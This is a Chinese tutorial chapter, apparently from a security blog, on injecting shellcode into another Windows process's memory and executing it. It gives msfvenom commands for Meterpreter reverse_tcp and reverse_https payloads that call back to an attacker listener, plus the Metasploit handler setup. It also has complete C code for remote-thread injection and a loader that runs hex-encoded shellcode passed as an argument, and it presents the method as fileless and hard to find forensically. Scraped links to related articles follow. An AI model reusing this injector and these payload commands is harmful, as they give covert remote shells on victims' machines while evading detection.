1.10 内存ShellCode注入与格式化
ShellCode 的格式化与注入功能在实战应用中也尤为重要,格式化Shellcode
是指将其转换为可执行的二进制格式,使其能够在内存中运行。注入Shellcode
是指将格式化的Shellcode
注入到另一个进程的内存中,以便在该进程中执行,此类功能也可算作ShellCode
技术的延申功能。
1.10.1 针对内存的ShellCode注入
内存注入ShellCode
是一种将Shell注入到进程内存中的攻击方式,该注入方式的优势在于被发现的概率极低,甚至可以被忽略,这是因为ShellCode
被注入到进程内存中时,其并没有与之对应的硬盘文件,从而难以在磁盘中取证,但也存在一个弊端由于内存是易失性存储器,所以系统必须一直开机,不能关闭,该攻击手法可以应用于服务器上面,安全风险最小,注入后即可将注入器删除并以此保证无文件加载。
首先在实现功能之前读者应该自行生成自定义ShellCode
代码,至于如何生成在本章第一节中就已经介绍过了,此处只给出生成指令
生成非加密ShellCode攻击载荷
# --------------------------------------------------
# 生成ShellCode攻击载荷
# --------------------------------------------------
[lyshark@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=192.168.140.128 lport=9999 -f c
[lyshark@localhost ~]# msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=192.168.140.128 lport=9999 -f c
# --------------------------------------------------
# 服务端建立侦听器
# --------------------------------------------------
[lyshark@localhost ~]# msfconsole
msf6 exploit(handler) > use exploit/multi/handler
msf6 exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(handler) > set lhost 192.168.140.128
msf6 exploit(handler) > set lport 9999
msf6 exploit(handler) > set EXITFUNC thread
msf6 exploit(handler) > exploit -j -z
生成SSL加密ShellCode攻击载荷
# --------------------------------------------------
# 生成ShellCode攻击载荷
# --------------------------------------------------
[lyshark@localhost ~]# openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
> -subj "/C=UK/ST=London/L=London/O=Development/CN=www.baidu.com" \
> -keyout www.baidu.com.key -out www.baidu.com.crt
[lyshark@localhost ~]# cat www.baidu.com.key www.baidu.com.crt > www.baidu.com.pem
[lyshark@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_https \
> lhost=192.168.140.128 lport=8443 PayloadUUIDTracking=true PayloadUUIDName=MyShell \
> HandlerSSLCert=/root/www.baidu.com.pem StagerVerifySSLCert=true \
> -f c -o /root/shell.c
# --------------------------------------------------
# 服务端建立侦听器
# --------------------------------------------------
[lyshark@localhost ~]# msfconsole
msf6 exploit(handler) > use exploit/multi/handler
msf6 exploit(handler) > set payload windows/meterpreter/reverse_https
msf6 exploit(handler) > set LHOST 192.168.140.128
msf6 exploit(handler) > set LPORT 8443
msf6 exploit(handler) > set HandlerSSLCert /root/www.baidu.com.pem
msf6 exploit(handler) > set StagerVerifySSLCert true
msf6 exploit(handler) > exploit -j -z
接着我们来实现注入功能,首先我们通过CreateToolhelp32Snapshot()
拍摄一个进程快照并通过比较找到所需注入进程,找到后通过OpenProcess()
打开进程,然后调用VirtualAllocEx()
函数在对端内存中分配空间,并通过WriteProcessMemory()
将ShellCode
写入到对端,最后通过CreateRemoteThread()
开启远程线程执行ShellCode代码。
其核心原理总结起来如下所示:
- 1.获取目标进程的PID,这里使用了
ToolHelp32
获取系统中正在运行的进程列表,并遍历列表查找指定名称的进程。 - 2.打开目标进程。使用
OpenProcess
打开目标进程,获取进程的句柄。 - 3.在目标进程中分配内存。使用
VirtualAllocEx
在目标进程中分配一段内存,用于存储ShellCode
的代码。 - 4.将
ShellCode
的代码写入目标进程的内存中。使用WriteProcessMemory
将ShellCode
的代码写入目标进程的内存中。 - 5.在目标进程中创建远程线程并执行
ShellCode
。使用CreateRemoteThread
在目标进程中创建一个远程线程,并将其起始地址指向ShellCode
在目标进程中的内存地址,从而执行ShellCode
的代码。 - 6.等待远程线程执行完毕。使用
WaitForSingleObject
等待远程线程执行完毕。 - 7.清理资源。关闭句柄,释放内存等。
根据上述原理解析,读者很容易就可以写出如下所示的代码片段,读者只需要将自定义ShellCode
填充之变量内,并输入进程PID即可实现对特定进程的注入功能;
#include <Windows.h>
#include <stdio.h>
// 定义ShellCode
unsigned char ShellCode[] =
"\xba\x1a\x77\xba\x2b\xd9\xee\xd9\x74\x24\xf4\x5e\x29\xc9"
"\xb1\x59\x31\x56\x14\x03\x56\x14\x83\xee\xfc\xf8\x82\x46"
"\xc3\x73\x6c\xb7\x14\xeb\xe4\x52\x25\x39\x92\x17\x14\x8d"
"\xd0\x7a\x95\x66\xb4\x6e\x94\x87\x36\x38\x9c\x51\xc2\x34"
"\x09\xac\x14\x14\x75\xaf\xe8\x67\xaa\x0f\xd0\xa7\xbf\x4e"
"\xdb\xac\xa6";
int main(int argc, char *argv[])
{
HANDLE Handle = NULL;
HANDLE remoteThread = NULL;
PVOID remoteBuffer = NULL;
DWORD Pid = 0;
printf("请输入待注入进程PID号:");
scanf("%d", &Pid);
// 打开目标进程句柄
Handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
if (Handle == NULL)
{
printf("打开进程失败\n");
return 1;
}
// 在目标进程中分配内存
remoteBuffer = VirtualAllocEx(Handle, NULL, sizeof(ShellCode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (remoteBuffer == NULL)
{
printf("分配内存失败\n");
CloseHandle(Handle);
return 1;
}
// 在目标进程中写入ShellCode
if (!WriteProcessMemory(Handle, remoteBuffer, ShellCode, sizeof(ShellCode), NULL))
{
printf("写入内存失败\n");
VirtualFreeEx(Handle, remoteBuffer, 0, MEM_RELEASE);
CloseHandle(Handle);
return 1;
}
// 在目标进程中创建远程线程
remoteThread = CreateRemoteThread(Handle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
if (remoteThread == NULL)
{
printf("创建线程失败\n");
VirtualFreeEx(Handle, remoteBuffer, 0, MEM_RELEASE);
CloseHandle(Handle);
return 1;
}
// 等待远程线程执行完毕
WaitForSingleObject(remoteThread, INFINITE);
// 释放内存和关闭句柄
VirtualFreeEx(Handle, remoteBuffer, 0, MEM_RELEASE);
// CloseHandle(remoteThread);
CloseHandle(Handle);
printf("注入成功\n");
return 0;
}
1.10.2 实现格式化与代码执行盒
在某些时候我们需要在外部传入特定的一段字符串以此实现反弹,而不是上述案例中提到的需要将ShellCode代码写死在程序中,这样即可增加灵活性,我们以本地代码执行为案例讲解一下代码执行盒是如何实现的。
代码执行盒的实现非常容易,如下代码中程序接收argv[1]
传递变量,并将该变量通过sscanf
格式化为字节类型,如果不格式化那么在读入内存后默认会以WORD
模式存在,此时则会占用两个字节而导致ShellCode
失效,为了能让功能有效,则必须进行转换,如下代码则是执行盒的完整实现;
#include <stdio.h>
#include <Windows.h>
int main(int argc, char *argv[])
{
unsigned int char_in_hex;
char *shellcode = argv[1];
unsigned int iterations = strlen(shellcode);
unsigned int memory_allocation = strlen(shellcode) / 2;
for (unsigned int i = 0; i< iterations - 1; i++)
{
sscanf(shellcode + 2 * i, "%2X", &char_in_hex);
shellcode[i] = (char)char_in_hex;
}
void *exec = VirtualAlloc(0, memory_allocation, MEM_COMMIT, PAGE_READWRITE);
memcpy(exec, shellcode, memory_allocation);
DWORD ignore;
VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore);
(*(void(*)()) exec)();
return 0;
}
以下是核心代码的简单解释;
unsigned int memory_allocation = strlen(shellcode) / 2;
memory_allocation是一个无符号整数类型的变量,用于表示需要分配的内存大小。因为shellcode
是16进制编码的,每两个字符表示一个字节,所以内存大小为shellcode
长度的一半。
for (unsigned int i = 0; i< iterations - 1; i++)
{
sscanf(shellcode + 2 * i, "%2X", &char_in_hex);
shellcode[i] = (char)char_in_hex;
}
for循环,用于将16进制编码的shellcode
转换为可执行的代码。sscanf
函数将shellcode
中的16进制字符转换为整数,并存储在char_in_hex
变量中。然后将char_in_hex
强制转换为字符类型,并将其存储在shellcode
中。
void *exec = VirtualAlloc(0, memory_allocation, MEM_COMMIT, PAGE_READWRITE);
这是一个void
类型的指针变量,用于指向分配的内存空间。VirtualAlloc
函数分配一个指定大小的内存块,并返回一个指向该内存块的指针。参数MEM_COMMIT
表示分配的内存将立即被提交,PAGE_READWRITE
表示内存可读可写。
memcpy(exec, shellcode, memory_allocation);
将shellcode
复制到分配的内存空间中。
DWORD ignore;
VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore);
VirtualProtect函数修改内存页的保护属性,将内存页的执行属性设置为可执行。PAGE_EXECUTE
表示内存可执行。
(*(void(*)()) exec)();
执行分配的内存空间中的代码。将exec指针强制转换为指向无参数、无返回值的函数指针,然后调用该函数指针。这样,shellcode中的代码就会被执行。
由于代码执行盒接收的是一个字符串,则我们还需要实现一个将ShellCode
转换为字符串的功能,我们只需要将文本依次读入到内存,并以此过滤掉无用字节即可实现该功能;
void Compressed(const char* FileName)
{
FILE* fp_read;
char write_ch;
if ((fp_read = fopen(FileName, "r")) != NULL)
{
while ((write_ch = fgetc(fp_read)) != EOF)
{
if (write_ch != L'\n' && write_ch != L'\"' && write_ch != L'\\' && write_ch != L'x' && write_ch != L';')
{
printf("%c", write_ch);
}
}
}
_fcloseall();
}
完整代码已经有了那么该如何使用呢,首先读者需要将ShellCode
代码保存为文本文档,需要注意的是读者在保存文件时应保存为如下格式;
此时调用Compressed("d://shellcode.txt");
并传入文本路径,则读者会看到如下输出,此时的ShellCode
则被格式化为一行,如下图所示;
保存这段ShellCode
代码,并运行代码执行盒,通过传入命令行传入参数,即可实现反弹,传入参数如下图所示;
1.10 内存ShellCode注入与格式化的更多相关文章
- 将ShellCode注入进程内存
内存注入ShellCode的优势就在于被发现的概率极低,甚至可以被忽略,这是因为ShellCode被注入到进程内存中时,其并没有与之对应的硬盘文件,从而难以在磁盘中取证,但也存在一个弊端由于内存是易失 ...
- 20145239杜文超《网络对抗》- shellcode注入&Return-to-libc攻击深入
20145239杜文超<网络对抗>- shellcode注入&Return-to-libc攻击深入 shellcode基础知识 Shellcode是一段代码,作为数据发送给受攻击服 ...
- 20145210姚思羽《网络对抗》——shellcode注入& Return-to-libc攻击深入
20145210姚思羽<网络对抗>shellcode注入&Return-to-libc攻击深入 shellcode基础知识 Shellcode是一段代码,作为数据发送给受攻击服务器 ...
- shellcode 注入执行技术学习
shellcode 注入执行技术学习 注入执行方式 CreateThread CreateRemoteThread QueueUserAPC CreateThread是一种用于执行Shellcode的 ...
- 【原创】内核ShellCode注入的一种方法
标 题: [原创]内核ShellCode注入的一种方法 作 者: organic 时 间: 2013-05-04,04:34:08 链 接: http://bbs.pediy.com/showthre ...
- 20145215《网络对抗》shellcode注入&Return-to-libc攻击深入
20145215<网络对抗>shellcode注入&Return-to-libc攻击深入 Shellcode注入 基础知识 Shellcode实际是一段代码,但却作为数据发送给受攻 ...
- 20145227鄢曼君《网络对抗》shellcode注入&Return-to-libc攻击深入
20145227鄢曼君<网络对抗>shellcode注入&Return-to-libc攻击深入 shellcode注入实践 shellcode基础知识 Shellcode实际是一段 ...
- 20145317《网络对抗》shellcode注入&Return-to-libc攻击深入
20145317<网络对抗>shellcode注入&Return-to-libc攻击深入 学习任务 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻 ...
- 20145324王嘉澜 《网络对抗》进阶实践之 shellcode注入和Return-to-libc攻击深入
Shellcode注入 •Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并将堆栈的返回地址利用缓冲区溢出,覆盖成为指向 shellcode的地址 •实验参 ...
- 20145334赵文豪《网络对抗》shellcode注入&Return-to-libc攻击深入
Shellcode注入 shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并将堆栈的返回地址利用缓冲区溢出,覆盖成为指向 shellcode 的地址 下载安装 ...
随机推荐
- 不可不看的Java基础知识整理,注释、关键字、运算符
写在开头 万丈高楼平地起,要想学好汉语首先学拼音,想学好英语首先学26个字母,对于编程语言来说,一样的道理,要想学好必须先掌握其基础语法和知识,今天我们就来唠一唠Java语言中那些出现频率极高,又很基 ...
- JavaScript 基础 - Day01
了解变量.数据类型.运算符等基础概念,能够实现数据类型的转换,结合四则运算体会如何编程. 体会现实世界中的事物与计算机的关系 理解什么是数据并知道数据的分类 理解变量存储数据的"容器&quo ...
- uni-app点赞效果
- [QML]从零开始QML开发(二)QML开发,浅谈控件、槽函数、锚等基本概念。QML和C++怎么交互?贯彻落实MVC原则
[QML]从零开始QML开发(二)QML开发,浅谈控件.槽函数.锚等基本概念.QML和C++怎么交互?贯彻落实MVC原则 先看代码: import QtQuick 2.12 import QtQuic ...
- P2196-DP【黄】
清醒了一点后我又写了一道黄色DP题,做出来了,还行,开心不少了... 中途暴露出一些问题 1.深搜过程中既然用了二维数组,那么深搜时就应该用二维循环取最优解,而不是只从最后一行中进行一维循环取最优解. ...
- P4913【橙】
蕾姆了,上一道题做的好烦,结果直接把上一题的代码稍微改改就直接五分钟做出了另一道题,就是这道橙题.虽然只是一道橙题,但上一题代码得以复用显得自己没浪费那么多时间,显得自己还是有不少收获的.心里平摊多了 ...
- C# 通过ServiceStack 操作Redis——Hash类型的使用及示例
接着上一篇,下面转到hash类型的代码使用 Hash:结构 key-key-value,通过索引快速定位到指定元素的,可直接修改某个字段 /// <summary> /// Hash:类似 ...
- Liunx常用操作(九)-进阶命令
一.查看用户who 1.查看所有用户:who
- Java 使用二分查找快速定位元素位置
转载请注明出处: 快速定位 一个有序数列中 某一个元素的位置: 共有三种思路: 第一种:使用 for 循环,匹配元素值 与循环变量的值是否相等,相等则循环变量时的 i 则为元素位置 第二种:使用 二分 ...
- navicat 查看,设计并导出数据库 ER图
转载请注明出处: 1. navicat 查看 ER 图,有两种方式: 第一种:选中数据库,并右键点击选中逆向数据库到模型. 第二种:可以在工具栏点击查看,选中 ER,打开 某数据库,便会展示 该数据库 ...